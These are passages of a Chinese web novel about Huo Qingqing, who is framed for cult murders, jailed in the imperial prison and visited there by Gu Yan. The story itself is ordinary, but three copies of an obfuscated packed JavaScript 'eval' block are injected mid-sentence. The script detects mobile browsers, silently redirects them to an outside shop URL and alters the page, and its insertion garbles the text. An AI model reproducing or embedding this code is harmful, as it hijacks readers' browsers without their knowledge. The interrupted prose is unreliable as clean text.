霍青青拿着棋子的手一顿,许久才落子:“若是可以,留下性命。我……” 她又不知如何说下去。 雁将离知晓她为难,将棋子一放笑道:“我知道。” “可若是牵涉太多,我不能保证留下他性命。”雁将离垂眼看着霍青青手腕间的玉镯子:“青青,此事如今只有你我知晓,他若不除,必是后患。况且,今日朝堂之上宋世荣所说,恐怕都与他脱不了干系。” “你若是狠不下心,我便帮你。” 雁将离缓缓说着。 他慢慢站起身,推开窗:“青青,你今岁身子弱,不宜再远行了。白沙关太远,我帮你走便好。” “难走的路,我先帮你踏平。” “青青啊,须用刀时莫犹豫。” 霍青青看着眼前的雁将离,想起那一年第一次见到他,他刚从乱葬岗里爬出来,苍白的手拉住她的脚踝。 他浑身都是伤,没有一块完好的皮肉。 那时的雁将离,只有十四岁。 她只觉得他不该死,他那双眼睛里,带着不屈的光。 若非当时医老在,他恐怕性命难保。 十四岁濒死的少年,后来养好了伤陪着她走了很长一段路,直到南羌起兵他披甲跃马,他第一次拼杀,还是个小兵。后来战功赫赫,得爹助力。有一战胜得惨烈,他跪在那一片坟茔前,玄甲长枪放在地上,跪死去的将士们。 青青啊…… 他最喜欢叫青青,因为青青是他在濒死之际才等到的生机。 雁将离靠近一点,问道:“青青,你与顾衍,想好了吗?” 霍青青命人取来他的轻甲,熟练地给他着甲。 二人没有言语,雁将离也只低头看着青青。 等轻甲绑好,霍青青抬头笑道:“试试吧。” “女子一生,也并非都要成亲生子,只是一个人太寂寞就想再拉上一个人走一走。” “很多东西都高于情爱,我和你,我和霍家。”霍青青伸手拍拍雁将离的肩,眼眸弯弯:“将离,你是适合战场的。但是,我依旧想让你为自己活一次,若是哪天不想再领兵了,我就给你带上几千两银子,我们一家子去游山玩水,或是找个地方住下来。” “好啊,都听青青的。”雁将离抬手,笑道:“青青啊,再抱我一下吧。” 霍青青没有任何犹豫,张开双臂抱住雁将离。 她青色的衣裙带起细碎的光尘,耳畔的玉坠摇曳生辉。 “青青,他们说霍家青青心善。” 雁将离的手落在霍青青背上,好像回到了那一日,只有他们二人在山洞之中相依取暖。 青青心善,她会不顾一切去救他。 青青心善,她不想看到百姓疾苦。 青青心善,她从来都没有放弃过任何人。 那夜里,他恍惚着。 青青抱着他,笑着同他说话:“将离,我爹说,青这个字好。我出生时已是夏日,青草绿叶都长得好,山林看去一片青色。娘就说那便取青吧。” “青青草啊青青草,野火烧不尽,大风吹不倒。” 她就当真如春夏里带着勃勃生机的那抹青。 雁将离第一次没有顺青青的意。 他抱了许久,末了,他依旧轻笑一句:“为自己活,那便是为青青活。我会照顾好自己。” …… 雁将离依言带着回来的将士们去了京中酒楼喝酒。 喝了整一日,才慢慢消停下来。 一行人醉得横七竖八,雁将离便独自坐在桌案上,手中提着酒壶,仰头灌下去。 “雁将军,明日便该启程了吧?” 楼中的老板过来寒暄。 雁将离点点头:“是啊,明日又该启程了。” 老板感慨了一句:“我那儿子在青骑,也不知如何了。这次回京,他没回来,带信说是他要帮着守帐。也不知何时才能彻底安稳下来,年纪大了,想儿子了。” “快了。”雁将离看向酒楼外。 不知是不是错觉,他似是看到一个熟悉的身影。 他将酒壶一放便闪身追去。 雁将离握着长枪在傍晚的街道上疾行,可再也没看到那个身影。 他在街口驻足,眸中冷下来。 待他再回到酒楼时,醉酒的将士们早已转醒。 他握紧长枪,喝道:“都起来了,明日启程。” …… 这几日京中,忽又起了怪事,先是有人当街断了颈骨,后又有人在小巷里被发现身体千疮百孔。 帝王脚下,如此诡事,明顺帝自是怒不可遏。 直接下令霍承阳带人追查。 消息整合好送来已是两日后,霍青青正在梳洗。 她今日换了一身烟绿拢烟裙,半绾了一个髻簪上一根青玉簪。她看着纸上写满这几日京都的怪事。 所有人的口供都出奇的一致,都说这些死者生前跟一个女子来往过。 而那个女子爱着青裙。 霍青青沉吟片刻,取了纸去信白沙关,信此时送,待将离到了白沙关,便可回信。 又是两日过去。 霍府里丫鬟行色匆匆,霍清风按着腰间剑快步行来。 霍青青迎他进屋:“哥,外面是何事?” 霍清风面色稍霁,他端起茶盏:“是……百姓在讨公道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13214212|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他面上带了肃杀,压低声音道:“青青,长生教或许未除根。这次怕是冲着你来的。” 霍青青早有准备,只撑着头轻轻一笑:“上次我便知是冲着我来的,未曾想竟未清理干净。” “那些个百姓恐怕是有人专程引来的,你的画像定然是宋世荣拿出去的。他们也都说那些死了的人生前都见过你。”霍清风眼眸冷下去:“青青,你想如何?” “不如何。”霍青青答得极快。 她垂下眼睫,转着腕间的玉镯子发出清脆的响声:“我百口莫辩,等民愤起,怕是会下狱。” “宋世荣不会放过这个机会,或者说……这件事就是他一手促成。” 霍青青勾起唇角:“哥,无碍的。我会安排好一切。” “可是……下狱,青青……” 霍清风神色复杂,许久,他霍然起身。 霍青青连忙拉住他手臂:“哥,不要冲动,没事的。你想去干什么?” “我去让他们滚。” 霍清风虽怒,但也没挣开青青,他转过身来,轻轻把她的手拉下去:“青青,你觉得你要是下狱。雁将离还能好好守着白沙关?顾衍能看着你被关在诏狱里?还是说你那两个师父会眼睁睁看着你受苦?” “那就劳烦哥和爹拦住去往边关的消息。顾衍他不会冲动的。我的师父们也不会不跟我商议。” “哥,你信我。这件事确是因我而起,我会给他们一个交代。如今百口莫辩,我不会任由任何人欺辱你们。爹和爷爷还有你,都不该背负骂名。” “青青,爹和爷爷也不会同意。” 霍清风握剑的手越发紧,他竭力遏制住自己的情绪:“青青,这次听话好不好?诏狱不是那么简简单单的地方,纵然有霍家在,也不能保你无碍。” “可是如今,还有别的办法吗?”霍青青笑起来,伸手勾住腰间的佩环:“宋世荣是铁了心要让我下狱啊,可是这事荒诞得很呐,不是他能决定的。” “想杀我?他还差的远。” 霍青青眼眸微眯:“有的人啊只信他们看到的。宋世荣想激起民愤,我们就得拿到确凿证据。” “如今,虽许多人都说着那是我,但也只是说说而已。让我下狱,爹就是他们口中大义灭亲的好官。皇伯伯也会得一个明君。” 霍清风也知晓,如今青青百口莫辩,也不知谁带的头,眼下一众百姓跪在霍府门口,更有甚者已到府衙击鼓鸣冤。 青青所说,确是最好的方法。 可若是洗不清呢?知晓青青的人自是知道青青绝不可能跟长生教有瓜葛。可百姓呢?三人成虎,众口铄金。 “哥,不用担心。”霍青青轻轻摇摇他的手臂:“哥,你还信不过我吗?” 霍清风面色稍缓叹了口气:“我知道你有主意,但我跟爹和爷爷经不住你这般。” “青青,你为何要等雁将离回信?” 霍青青笑道:“我与他有个埋下去很久的秘密。” 霍清风听她这般说,也不再追问。只又仔细叮嘱了霍青青好几遍,才往外面走去。 等他走远,霍青青便唤了句:“十一,传信十三楼,各州清查长生教余孽,不得有误。若遇长生教已服食长生药的教众,杀无赦。” “是。”霍十一毫无声息地出现在暗处,行了一礼之后自窗户跃出。 “辰砂,你去搜寻京都所有的小巷,若遇线索,速速传信。” “是,属下领命。” 那日逃走的神使…… 霍青青思量着,提笔写下一封密信,这封信该送往青州,让阿浔带着人二次探查青州山脉。 做完这些,霍青青倚窗而望。 外间秋日正好,只可惜很快她便要下狱了。可惜了,还未等到顾衍回京啊,还想着到时去城门口接他一接。 十三楼消息频传,她早就知道顾衍一路纵马,他本也不是什么听话的人。 只是……他敢这般,阿浔定然功不可没。 霍青青无奈地叹了一口气,思衬片刻提笔练字,字迹隐隐露出锋芒。 府外慢慢安静下来,像是风雨欲来。 52.心上秋 京城之中民愤起,竟有人跪到宫门前称当今大理寺卿霍承阳之女霍青青暗合长生教行伤天害理之事,求着皇上给公道,求大理寺卿秉公断案。 明顺帝在大殿之上当堂扔了折子:“荒唐!” 他怒骂出声,终是动了怒:“霍青青已禁足霍府,你们还想如何?还是说我御林军玩忽职守看不住这么个弱女子?” “宋爱卿,朕没记错的话,你也派了人前去看守。霍青青的画像又是如何在民间流传?” 宋世荣低头敛目:“若真是长生教神使,仅凭那几个人又如何能守住?” “秉公断案。”霍承阳冷笑一声:“宋世荣,若是找出证据,老子要你给青青跪下磕头。” 他朝着明顺帝一礼:“臣先退下,大理寺那边案宗还需整理。” “去吧,霍青青一事,暂缓。宋爱卿莫要再提。” 明顺帝深知宋世荣这次怕是当真按捺不住了,那长生教,如今除去青青便只有顾衍知晓得更多。 先保下青青才是要事,顾衍的事也可先放放。 “皇上,若是不下召,外面的百姓恐怕……” 宋世荣话音未落,就听有人来报,有人死于宫门前,是撞死的。死前他说着什么神使、长生。 “皇上,还请快下决断。”宋世荣看着明顺帝阴沉的脸:“皇上难道要因她一人,给自己搭上一个昏君的名头吗?” “宋世荣,你未免太过大胆。”霍书终是开了口,他一双眼落在宋世荣身上,神色如常:“朝堂两派,外忧内患。你以为朝堂之上文武不合是于你捡的便宜?国若破,你当真还能活吗?” 霍书虽早已不管朝堂事,但亦看不得自己孙女儿去受苦。 诏狱那地方太脏了,自己家的孙女儿他最清楚,那地方会污了青青的衣裙。 “若是处置一个女人,大煜就会破,那将士也太过无用。”以宋世荣为首的文臣不知何时站出来。 霍家早年便是武将,霍家军本是大煜军分支,乃是先皇赐给霍家的,遂改名霍家军,霍青青出生后才有了青骑一称。 太傅霍书,不仅只是太傅,更是霍老将军,只是后来只有霍承阳一子,霍承阳不宜习武才断了一辈。直到霍清风来霍家,才重拾将军之位。 “你知道个屁。”不知何时,赵枢自大殿门口走进来:“儿臣参见父皇。” “平身。”明顺帝本还有些气不顺,乍一听见他说点粗俗之语气竟消了些。 赵枢睨了一眼宋世荣,站到霍书身旁:“晚辈来迟,还请霍太傅见谅。” “不迟,我一把老骨头了,本想熬着。如今你来了,我也可以歇歇。”霍书摆摆手,将位置让给赵枢。 赵枢低声在明顺帝耳边说了几句便退下。 明顺帝眼眸微侧,看向宋世荣:“宋爱卿不妨说说,青州学宫一案,助纣为虐作何解。” 朝堂之上安静下去,明顺帝这般说,定然是拿住了宋世荣的把柄。 宋世荣只笑笑:“臣不知什么青州学宫案。” “按着皇上的话说,此案是顾衍顾指挥使同霍家小姐去查的,入案大理寺,臣又如何得知?” 赵枢笑着从袖中取出一纸信件:“这是青州学宫案时所查,来人辨一下是否为宋尚书的笔迹。” 闻言,立时有人站出来,抽出信件,里面是一张京都之中达官显贵才能用上的雪花纸。 明顺帝差人去御书房取了折子,字迹竟是分毫不差。 “宋爱卿,你作何解释?” 谁都明白做事不留把柄,信件早已销毁,如今出现的……定然是霍家手笔。 宋世荣也不知那张纸上是哪一封,他开口道:“臣不知皇上所为何事,若仅凭一纸书信便要治臣的罪,是否太过荒谬。” “那仅凭你们众口铄金便想治霍青青的罪是否也太过荒谬?”赵枢眼眸微眯看向宋世荣:“这不是你起的头吗?如今自己的事情败露,就想抹过去?” 赵枢逼近一步:“这朝堂之上谁都知道你与霍家不合,如今牵扯出如此多的事,外间民愤起,朝堂鸡飞狗跳,这便是你想要的吗?” “大煜里,谁都可以是长生教神使,唯独霍青青不会是。”赵枢朝着明顺帝叩首道:“还望父皇明察。” 明顺帝看着跪伏在下的儿子,心中感慨。 不愧是霍家教出来的,他三个儿子,也只有这个儿子可堪大用。 明顺帝思衬片刻,便道:“既两方都无确凿证据。外间百姓击鼓,那便都押送至诏狱,等真相大白再放出。” “皇上,可莫要寒了人心啊。”霍书颤巍巍喊了一句,声如泣血。 赵枢连忙上前扶起:“公道自在,父皇定不会冤枉任何人。” …… 哭喊的百姓渐多,霍青青在霍府内将他们的哭喊听得一清二楚。 这几日夜里,她都留心了京中小巷。自案发当日,爷爷便已经派了霍府暗卫将京都层层把守,断无出城的可能。 今次算是瓮中捉鳖,只是这鳖不好捉,怕是要将京都翻个底朝天才行。 三日后,她刚一出府,便见门口的百姓。 百姓奋起,却被霍府的侍卫拦住。 “妖女!还我儿子的命来!”有人拿起一个铁锹就不管不顾地朝着这方冲过来。 侍卫正欲动手,就被霍青青挥退。 霍青青一手握住铁锹压下,一边微弯下腰:“见过我?” “我儿子死之前跟你私会,你化成灰我都认得。” “霍大人磊落,怎么就生了你这么个妖女?” “还说什么以身涉险围剿长生教,都是编的!” 一石激起千层浪,数人声讨。 霍青青也只笑笑:“我霍青青不负大煜,承霍家风骨,此事与我无关。我敢下狱便是等还我清白。” 说罢,她拂袖而去,一袭青裙飘扬,佩环叮当。 北镇抚司的诏狱,地上积了不知多少人的血。她于门口看到宋世荣,微微一笑道:“劳烦宋尚书走这一遭了。” 宋世荣冷哼一声:“装模作样。” 霍青青只转身朝诏狱里面走,宋世荣却听着她说:“诏狱寒凉,宋尚书一把老骨头若是扛不住了,怕是得先找人好收个尸。” 宋无忧一路将她送至一处较为靠里的狱里,压低声音道:“霍姑娘,先委屈一下,里面铺了干净的干草,晚些我叫人给你送两床干净的被褥。” 他接到消息时,一时手忙脚乱,只命人将这里打扫干净了。 “不必,这样就好。”霍青青踏进牢中,忽地想起什么,转过身来对宋无忧道:“若是顾大人回来了,你且跟他说,若无要事别来见我。” “这……”宋无忧有些为难,随后咬咬牙:“好,我尽力。” “多谢了。”霍青青笑笑。 等宋无忧走了,她才坐下来。 北镇抚司的诏狱啊…… 未曾想还能有这一遭。 宋无忧不敢怠慢,又怕太过显眼,遂在本该暗无天日的诏狱里加了几个火把。给这间里面添置了厚实的干净干草。 宋世荣不知被他关哪里去了,料想应当没有关在一处。这边诏狱清净得很,连施行的惨叫都听不到。 霍青青转着腕间的玉镯子,靠在干草上看着昏黄跳动的火光。 折腾了这几日,如今坐下来,越发觉得疲乏。她嗅着浓重的血腥味儿微微蹙眉,将腰间的香囊取下握在手中才觉得好些。 也不知何时睡着了,恍惚里听到一声轻响,接着牢门被打开。 她警觉地握住袖中匕首睁开眼,却看到有一人站在门外。 他一袭绛红飞鱼服站在火光之中静静地看着她。 “霍姑娘。” 霍青青愣怔着,看着他走进来俯下身将她散在地上的裙摆拢了拢。 他的手在提起她裙摆时顿了下,很快又将裙摆放下。他极慢地一点点收拾着满地的干草,随后将那一堆干草都掩在霍姑娘身边。 “顾大人。”霍青青轻声笑道:“你果真不听话。” “我听话?”顾衍危险地靠近她,将她抵靠在身后的墙壁上:“霍姑娘怎么就不能好好听话?北镇抚司的诏狱是什么地方?是你说进来就进来呆着的?” “顾衍,你听我说……” 顾衍猛然打断她:“我不想听!” “外面谣言如潮又如何?他们没证据!你凭什么拿自己去平民愤?”顾衍伸手覆在她手背上扣紧:“你就这么喜欢… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13250760|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …折腾自己吗?” “顾大人就不怕被别人听了去,然后说顾大人徇私枉法?” 霍青青垂下眼睫,看着他扣住自己的手,他手心还发着烫,灼得人想要逃离。 “听去又如何?”顾衍扯住她的手臂,佩环碰撞声中她被顾衍抱到怀里,他在她头顶上压着怒气道:“徇私枉法?我顾衍什么模样他们都清楚。” 她抬手触上顾衍的脸,指尖落在他脸侧,笑道:“这才几日没见啊,顾大人。” 顾衍静静地抱着她才觉得这秋日里暖和一点。他甫一入京便被召去,等将青州一案细节写下呈于明顺帝面前才算完。想着许久没穿飞鱼服,她应当会喜欢,便纵马回府一趟。 刚换上就听宋无忧过来寻他。 就这么短的时日里,无法无天的霍姑娘就把自己扔进了诏狱。诏狱是什么地方?诏狱里的血积了不知道多久,洗都洗不干净。她怎能来这种地方? 这姑娘,胆子当真太大了。 诏狱里一时只余下两人轻浅的呼吸声,霍姑娘手腕间的玉镯碰撞着发出一点悦耳的声响。 她挣脱开顾衍的手转过身来看着顾衍:“顾大人,别生气啊。” 她无奈地搂住他的肩背,伸手抹过他唇畔:“顾大人,我看看伤。” 顾大人没理她,一双星目定定地看着她。随后便泄气一般往旁边一侧躲开她的手:“我没事。” “顾大人惯爱骗人的。”霍青青叹了一口气,捻开指尖的血迹。 “我何时骗过你?”顾衍拉下她的手一点点擦干净,觉得这诏狱太冷,抱着她的手又紧了紧。 “是不是很冷?”他握住霍姑娘的手,觉得入手冰凉,便拢在自己手心里。 霍青青挣脱出来,触在他眉眼上,笑道:“不冷。” “骗子。”顾衍嗤笑一声,看着霍姑娘的手滑落到他唇上,便张口轻轻咬住她指尖。 “顾大人,这才几日不见,怎么变得喜欢咬人了?”霍青青收回手,看着指尖的齿痕觉得好笑起来。 顾衍冷哼一声别过头去。 “顾大人有没有想我?”霍青青笑着打趣他。 然后便见着顾衍耳垂红起来,像是下了极大的决心一般,他闷声应了。 霍姑娘笑起来,在他怀里笑得泛出点泪花。 “别乱动。”顾衍轻声呵斥了一句后环住霍姑娘的腰,好让霍姑娘靠得舒服点。 “下次别来了。”顾衍看着有困倦之色的霍姑娘,也轻了声音:“这地方,太脏。” 霍青青靠在他怀里,觉得比方才精神了点:“顾大人给我吹笛子听吧,我只听过一次,还想听。” 她记得那日在青柳庄,顾大人是会吹笛子的。 顾衍将白玉笛递给她:“诏狱里笛声太亮,等出去吹给你听。” 霍青青把玩着白玉笛,细细摩挲过笛身的云月笑问道:“这笛子我见着顾大人宝贝得很,就这么给我了?” “是啊,宝贝着呢。霍姑娘可要拿稳了,要是磕了碰了,霍姑娘还要赔钱的。” 他总是能被霍姑娘三言两语便安抚下来,顾衍心下无奈笑自己窝囊。 白玉笛入手温润,是上好的白玉所制,她喜欢玉石,见过的好玉石不知凡几,这般的也见过许多。 “是我娘留下的。” 顾衍的声音柔和,在霍姑娘耳边响起:“是我娘留下的。时逢战乱,她只带了这一根白玉笛带着我逃命。她说,这是爹予她的聘礼。后来颠沛流离,也只剩下这么根笛子。被抢走,我又夺回来。” 霍青青听他说着话,一点点摸上他手背。 顾衍笑笑:“我的东西,我自会都拿回来。都过去了。” “我帮你抓人,你乖一点好好呆着。”顾衍低下头,极轻的一吻落在她眉心:“听我的。” “只你一人不行。”霍青青打起几分精神,缓缓道:“我要亲自前去。” “到底……怎么回事?”顾衍揽住霍姑娘,他的声音很低,只响在霍姑娘耳边。 “他不是我,但也是我。”霍青青微微侧身。 她的声音轻飘飘的,带着笑意:“顾衍,等出去后我跟你说个秘密吧。关于我小时候关于将离还有……其他很多很多。” 53.风雨楼 顾衍心念一动,低笑道:“好啊,霍姑娘说什么我都听着。” “顾大人不回去?”霍青青靠在他肩头看着外间昏黄的火焰有些犯困。 微弱的血腥味充斥鼻端,她怕压到顾衍伤口,微微支起身子。 顾衍伸手将她按紧,问道:“这身衣服脏了,闻着是不是不舒服?” 霍青青摇摇头:“你该回去上药。” “没事,我明日再走。” “顾大人,你就不怕宋世荣发现了?”霍青青打趣道。 她打了个哈欠,挪动下身子让自己靠得更舒服一点。 顾衍无奈地箍住她的腰:“怎么说的跟私会一样?我就这么拿不出手?” 霍青青被他逗笑了,她伸手拉住他的衣襟靠在他胸口:“哪能啊,顾大人样貌好武功好哪里还有拿不出手一说?” “行了,霍姑娘,睡罢。”顾衍也觉得疲惫,不眠不休地赶路好些日,还没歇下就被这个大胆的姑娘搅得心神不宁。 “嗯。” “霍姑娘,祝好眠。” 霍姑娘很满意,靠在顾衍怀里睡着安心许多。 顾衍垂眸看着霍姑娘睡去,小心翼翼地在她额头落了个吻。他本来还有好多事想同霍姑娘说,如今便先放着吧。 他也知晓宋世荣那方还需他装模作样,他得跟霍姑娘演个戏。本想着回京便同圣上请个假给霍姑娘补上未过的生辰,可如今却是要延后了。 …… 霍青青睡了不知多久,醒时火把已然灭了,她推推顾衍,轻声道:“顾大人,醒醒。” “再睡会儿。”顾衍按住她不让她动弹:“霍姑娘,莫要扰人清梦。” 顾大人耍起无赖的时候是没办法的,霍青青无奈之下起身捏捏他的耳垂:“别贪睡了顾大人,你昨日怎的不叫宋无忧把药拿过来?别睡了,听话些。” “唔。”顾衍闷声,眼眸微微睁开一条缝,他抱紧霍姑娘:“晚些天亮了宋无忧会来。我让他去霍府给你取东西了。” “顾大人,你的伤得看看了。”霍青青挣脱开他的手从他怀里爬起来:“我说了你不能一直纵马,你看看,你……” 顾衍凑过来,张口咬在霍青青颈侧,留下一弯浅浅的牙印,干燥的唇磨蹭在她颈间:“青青,好青青,别吵了,再睡会儿。” 霍青青一激灵,随后将他的头推开一点:“顾大人别咬人。” 她还当真不知道顾大人未睡够时是这般黏糊的性子。 顾衍似是铁了心不要她起来,他收紧了手臂手绕过她腰间将她紧紧搂抱住:“霍姑娘最是通情达理了,让我再睡会儿好不好?” 霍青青的手放在他手背上轻轻摩挲着:“那顾大人说话算数,就一会儿。” “嗯。我顾衍一言,千马万马都难追。” 顾大人啊…… 霍青青心底轻叹,初时认识他,怎么就不知道顾大人会是这般模样呢? 她曾以为,顾大人是恶兽,如今看来,顾大人更像大狗。他生气归生气,却从不会对着她发脾气,火气压了又压,好像生怕吓着她。 这般小心翼翼收了爪牙的模样真是…… 让人喜欢。 思量着霍青青就抬起手点在他唇畔,轻声道了句:“果真是我一眼喜欢上的顾大人啊。” 冷不丁的,她话音刚落就听着顾衍笑了声,随后哑着声音问她:“喜欢是哪个喜欢?” 霍青青面颊还是浮上薄红:“顾大人没睡啊?” “睡了,听到霍姑娘这句话又醒了。”顾衍握住她的手,在脸上微微蹭了下:“问你呢,喜欢是哪个喜欢?” 霍青青眼眸弯弯,应道:“喜欢就是喜欢啊。” 顾衍哼哼一声,在她手心落了个吻:“霍姑娘不坦诚啊。” 不过好在他坦诚。 霍青青觉得痒,遂又将他抵开一些:“不坦诚的明明是顾大人。” “呵。不闹你了。”顾衍轻笑一声,将她放到干草堆上站起身,他随手理了自己的衣摆然后俯下身将霍青青身上沾的干草都捡干净:“这里冷些,晚点宋无忧给你送披风来,我让他去了一趟霍府想来也快过来了。” “霍姑娘,你安分一点,有什么事等我回来。” 顾衍看了霍青青许久,见她乖巧地靠在干草堆上才放下心。 他别的不怕,就怕这个大胆的姑娘做些什么涉险的事不同他说。他一而再再而三地担惊受怕,次数多了,他是真的害怕了。 诏狱里又安静下来。 北镇抚司的诏狱看不到天光,只得等宋无忧。 等宋无忧来时先点了这方的火把,他手上抱了自霍府送来的东西。 “宋大人,什么时辰了?”霍青青看着他把包袱放到干草上道了一声谢。 “我来时已是辰时了,顾大人先行去上朝了,让我好好照看着霍姑娘。”宋无忧偷偷摸摸看了一眼外面,才掀开食盒:“这是霍姑娘家里让带来的,他们说让姑娘好生吃,先吃点垫垫肚子,晚些想法子送来热食。” “辰时……”霍青青略一沉吟:“顾大人想来应该上朝了,宋大人,你且将这几日京中所发惨案卷宗整理好让顾大人看看。看完后让他来跟我商议。只是……” 霍青青压低声音:“恐怕要宋大人行个方便了。顾大人一人恐怕不行。” 宋无忧连连点头:“这个霍姑娘放心。” “宋世荣那边如何了?” “他啊。”宋无忧笑笑:“关着呢,他拿着那一身文人风骨说事。皇上未下令前,不敢动刑,况且……” 宋无忧顿了顿,轻嗤一声:“北镇抚司再看守再严,也少不得有几只老鼠。早已备下诱饵,就看上不上钩了。” “那你们这般大胆,就不怕被人发现?”霍青青笑问一句,将一碟酥饼递给宋无忧:“我吃不了这么些,宋大人若是饿了可以一同吃。” 宋无忧只拿了一块,笑道:“霍姑娘不必担心,北镇抚司三方牢狱。宋、霍两家不合,分开关得远也无可厚非。顾大人早已给那几只老鼠贴了签子,就等着它们动弹。” “你家大人,果真惯会骗人。” 宋无忧闻言忙开口:“我家顾大人他不骗霍姑娘的,就是这泥塘子里面难行,总得给自己套个皮囊。” “霍姑娘若是闲得无聊了就找这边看守的顾二和顾三唠唠,这俩是顾大人昨日来时专门派来的,这俩兄弟是自己人。” 宋无忧嘱咐着,又说了好些话才转身离去。 他刚出去,就有两个身着飞鱼服的青年走进来。两人容貌有六七分相似,其中一青年抱拳朝霍青青行了个礼:“霍姑娘。我叫顾二,他,顾三。” 被遣来陪姑娘家解闷儿,这还是头一遭。 “好。辛苦你们了。” 霍青青也无奈的很,谁知道顾大人还有这心思? 昏黄的火光里她看不清两人的牙牌,但这模样不像是普通锦衣卫。顾大人可真行啊……派俩地位不低的锦衣卫来同她解闷儿。 “说不上。”顾二笑着摆手:“顾大人鲜少让我跟顾三留在诏狱,如今也算是放我们休沐了。” 顾三僵硬地点头:“是。” 如此看来,这两位怕还是常出任务的得力干将。 似是知晓诏狱里时辰难捱,顾二想着法子跟霍青青聊些天南地北的。后来就发现,这霍家小姐似是南北都闯过,对南北都极为熟悉。聊了这么些时候,顾三也放松下来。 “顾三,你想听什么?”霍青青抱膝坐在靠门处,看着外面终于盘坐下来的顾三。 许久,顾三才开口:“霍姑娘可去过白沙关?” 霍青青一怔,旋即笑道:“去过的。” “白沙关外,南羌那方,是什么模样?”顾三抬起眼,眼中似有不同的光亮,他定定地看向霍青青,慢慢道:“我曾与兄长走散,流浪到白沙关外。南羌铁骑见我是大煜人,便想杀了我。” “顾三。”顾二伸手拉拉他压低声音道:“你同霍姑娘说这些做什么?” 顾三没理他,只看着霍青青:“随后,有一个女将军赶来将我救下。” “那个女将军面甲遮脸,霍姑娘可曾见过那个女将军?”顾三说着,带着探究的眼神盯住霍青青不放:“那一年,南羌刚起战,是雁将军挂帅没多久。” 霍青青闻言轻笑一声:“我见过啊,你说的是锋锐骑在将离麾下的淮月将军吧?” “是。后来封的淮月将军。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278323|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我见过,但并不算熟识。” 顾三垂下眼:“为何我瞧着霍姑娘……很是眼熟。” 顾二打了个哈哈:“霍姑娘,别听他的,他日日外出记下的姑娘家数不胜数。恐怕是霍姑娘跟他脑子里有的人有几分相似罢了。” 霍青青笑笑:“不碍事,这天底下,长得相似的人多了。错认也是常态。” 顾三似是还想说什么,就听着外间传来轻快的脚步声。 顾二连忙把他拉起来站好。 果然,不多时顾衍从外面走进来,他朝顾二和顾三点点头,两人便退了下去。 顾衍身上带着点金创药味儿,他俯下身来就将霍青青抱起:“怎么坐这里?” “太过无趣,过来跟顾二顾三说会儿话。” “他俩常在外行走,我想着你同他们应该很聊得来。”顾衍将人放好,才坐下来陪着。 “今日朝堂之上如何了?”霍青青按住他的手臂微微撑起身子。 顾衍哂笑一声:“被霍大人和霍清风一起骂了。朝堂上没敢说太多,只说我办事不利,长生教余孽未清。” “还真是冤枉了顾大人。”霍青青叹了口气,安抚地摸了摸顾衍的脸:“顾大人看完案宗了?” “霍姑娘想如何?你说,我做。” “等将离那方来信之后,听三更打更声响,便可收网抓人。” 顾衍握住她的手,唇角微勾:“想杀还是想留?” 霍青青换了个姿势,把头埋在他胸口,声音闷闷的:“顾大人都知道些什么?” “我查了很多东西。”顾衍轻拍着她的背:“你的魇症是从何而起,你自己可知晓?” “嗯。”霍青青攥着他的衣襟低低应了一声,随后伏在他肩上在他耳畔道:“顾大人,你可知晓傅家?” “沧州傅氏?” “是我娘的本家。”霍青青的袖摆落在顾衍脖颈边,凉丝丝的。 “我怕你不让我查,就没查。只看了大理寺入案的卷宗。” 顾衍一言将霍青青逗笑了,她趴在顾衍肩上笑:“顾大人好生乖巧啊。” “是啊,不乖些被霍姑娘扔了怎么办?”他坦坦荡荡,听着霍姑娘笑话他也不恼,反倒低笑一声:“顾大人让人谈之色变,除了霍姑娘可没有人敢要了。” “少贫。”霍青青笑骂他。 “不贫了,我听霍姑娘说。” 霍青青挪了个舒适的地方才接着道:“沧州傅氏是早些年名震江湖的风雨楼。当年武林中乱过一次,也是那时,风雨楼跟傀教打了个两败俱伤。两败俱伤后,傀教在围剿下一直到处躲逃。” “当年傀教大长老极擅制傀儡,控毒。我娘便是那时被他下了蛊毒,此蛊毒不同于其他。就是这般,加之风雨楼伤亡太过惨重,已无力支撑便遣散了楼中人。当时的楼主便是我爷爷傅麒,他当即决定带着傅氏门人回沧州修生养息。” 她轻轻攥住顾衍肩头的衣服看着他,眼中带了些悲伤:“此蛊毒,不会像之前长生教的赤蝶蛊一般破茧,它会慢慢融进血液里,最后侵蚀五脏六腑。那时,娘只有七八岁。” “后来,风雨楼变成了沧州傅氏,在沧州作大。机缘巧合下,我娘结识了我爹。娘本已经不打算要孩子了。后来……也当真是意外,爹……也本想不要我的。”霍青青慢慢低下头来,指腹抹过顾衍眼下轻轻摩挲着。许久,她才笑着道:“可是我娘说,这般蛊毒下我都能活着,或许真的命不该绝。” 